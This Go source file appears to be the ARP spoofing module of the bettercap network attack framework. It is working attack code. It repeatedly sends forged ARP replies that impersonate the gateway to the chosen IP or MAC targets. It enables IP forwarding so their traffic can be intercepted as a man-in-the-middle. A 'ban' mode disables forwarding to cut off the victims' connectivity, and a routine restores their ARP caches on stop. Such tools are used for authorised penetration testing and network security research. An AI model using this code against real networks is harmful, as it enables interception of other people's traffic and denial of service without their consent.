package modules

import (
	"fmt"
	"net"
	"regexp"
	"strings"
	"sync"
	"time"

	"github.com/bettercap/bettercap/log"
	"github.com/bettercap/bettercap/network"
	"github.com/bettercap/bettercap/packets"
	"github.com/bettercap/bettercap/session"

	"github.com/malfunkt/iprange"
)

// lulz this sounds like a hamburger
var macParser = regexp.MustCompile(`([a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2}:[a-fA-F0-9]{1,2})`)

type ArpSpoofer struct {
	session.SessionModule
	addresses []net.IP
	macs      []net.HardwareAddr
	ban       bool
	waitGroup *sync.WaitGroup
}

func NewArpSpoofer(s *session.Session) *ArpSpoofer {
	p := &ArpSpoofer{
		SessionModule: session.NewSessionModule("arp.spoof", s),
		addresses:     make([]net.IP, 0),
		macs:          make([]net.HardwareAddr, 0),
		ban:           false,
		waitGroup:     &sync.WaitGroup{},
	}

	p.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "IP or MAC addresses to spoof, also supports nmap style IP ranges."))

	p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
		"Start ARP spoofer.",
		func(args []string) error {
			return p.Start()
		}))

	p.AddHandler(session.NewModuleHandler("arp.ban on", "",
		"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
		func(args []string) error {
			p.ban = true
			return p.Start()
		}))

	p.AddHandler(session.NewModuleHandler("arp.spoof off", "",
		"Stop ARP spoofer.",
		func(args []string) error {
			return p.Stop()
		}))

	p.AddHandler(session.NewModuleHandler("arp.ban off", "",
		"Stop ARP spoofer.",
		func(args []string) error {
			return p.Stop()
		}))

	return p
}

func (p ArpSpoofer) Name() string {
	return "arp.spoof"
}

func (p ArpSpoofer) Description() string {
	return "Keep spoofing selected hosts on the network."
}

func (p ArpSpoofer) Author() string {
	return "Simone Margaritelli <evilsocket@protonmail.com>"
}

func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
	p.waitGroup.Add(1)
	defer p.waitGroup.Done()

	targets := make(map[string]net.HardwareAddr, 0)

	for _, ip := range p.addresses {
		if p.Session.Skip(ip) == true {
			log.Debug("Skipping address %s from ARP spoofing.", ip)
			continue
		}

		// do we have this ip mac address?
		hw, err := findMAC(p.Session, ip, probe)
		if err != nil {
			log.Debug("Error while looking up hardware address for %s: %s", ip.String(), err)
			continue
		}

		targets[ip.String()] = hw
	}

	for _, hw := range p.macs {
		ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false)
		if err != nil {
			log.Debug("Error while looking up ip address for %s: %s", hw.String(), err)
			continue
		}

		if p.Session.Skip(net.ParseIP(ip)) == true {
			log.Debug("Skipping address %s from ARP spoofing.", ip)
			continue
		}

		targets[ip] = hw
	}

	for ip, mac := range targets {
		if check_running && p.Running() == false {
			return
		}

		if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil {
			log.Error("Error while creating ARP spoof packet for %s: %s", ip, err)
		} else {
			log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
			p.Session.Queue.Send(pkt)
		}
	}
}

func (p *ArpSpoofer) unSpoof() error {
	from := p.Session.Gateway.IP
	from_hw := p.Session.Gateway.HW

	log.Info("Restoring ARP cache of %d targets.", len(p.addresses)+len(p.macs))

	p.sendArp(from, from_hw, false, false)

	return nil
}

func (p *ArpSpoofer) parseTargets(targets string) (err error) {
	// first isolate MACs and parse them
	for _, mac := range macParser.FindAllString(targets, -1) {
		mac = network.NormalizeMac(mac)
		log.Debug("Parsing MAC %s", mac)
		hw, err := net.ParseMAC(mac)
		if err != nil {
			return fmt.Errorf("Error while parsing MAC '%s': %s", mac, err)
		}
		p.macs = append(p.macs, hw)
		targets = strings.Replace(targets, mac, "", -1)
	}

	targets = strings.TrimLeft(targets, ", ")
	targets = strings.TrimRight(targets, ", ")

	log.Debug("Parsing IP range %s", targets)
	if len(p.macs) == 0 || targets != "" {
		list, err := iprange.Parse(targets)
		if err != nil {
			return fmt.Errorf("Error while parsing arp.spoof.targets variable '%s': %s.", targets, err)
		}

		p.addresses = list.Expand()
	}

	log.Debug(" addresses=%v", p.addresses)
	log.Debug(" macs=%v", p.macs)

	return nil
}

func (p *ArpSpoofer) Configure() error {
	var err error
	var targets string

	if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
		return err
	} else if err = p.parseTargets(targets); err != nil {
		return err
	}

	if p.ban == true {
		log.Warning("Running in BAN mode, forwarding not enabled!")
		p.Session.Firewall.EnableForwarding(false)
	} else if p.Session.Firewall.IsForwardingEnabled() == false {
		log.Info("Enabling forwarding.")
		p.Session.Firewall.EnableForwarding(true)
	}

	return nil
}

func (p *ArpSpoofer) Start() error {
	if err := p.Configure(); err != nil {
		return err
	}

	return p.SetRunning(true, func() {
		from := p.Session.Gateway.IP
		from_hw := p.Session.Interface.HW

		log.Info("ARP spoofer started, probing %d targets.", len(p.addresses)+len(p.macs))

		p.waitGroup.Add(1)
		defer p.waitGroup.Done()

		for p.Running() {
			p.sendArp(from, from_hw, true, false)
			time.Sleep(1 * time.Second)
		}
	})
}

func (p *ArpSpoofer) Stop() error {
	return p.SetRunning(false, func() {
		log.Info("Waiting for ARP spoofer to stop ...")
		p.unSpoof()
		p.ban = false
		p.waitGroup.Wait()
	})
}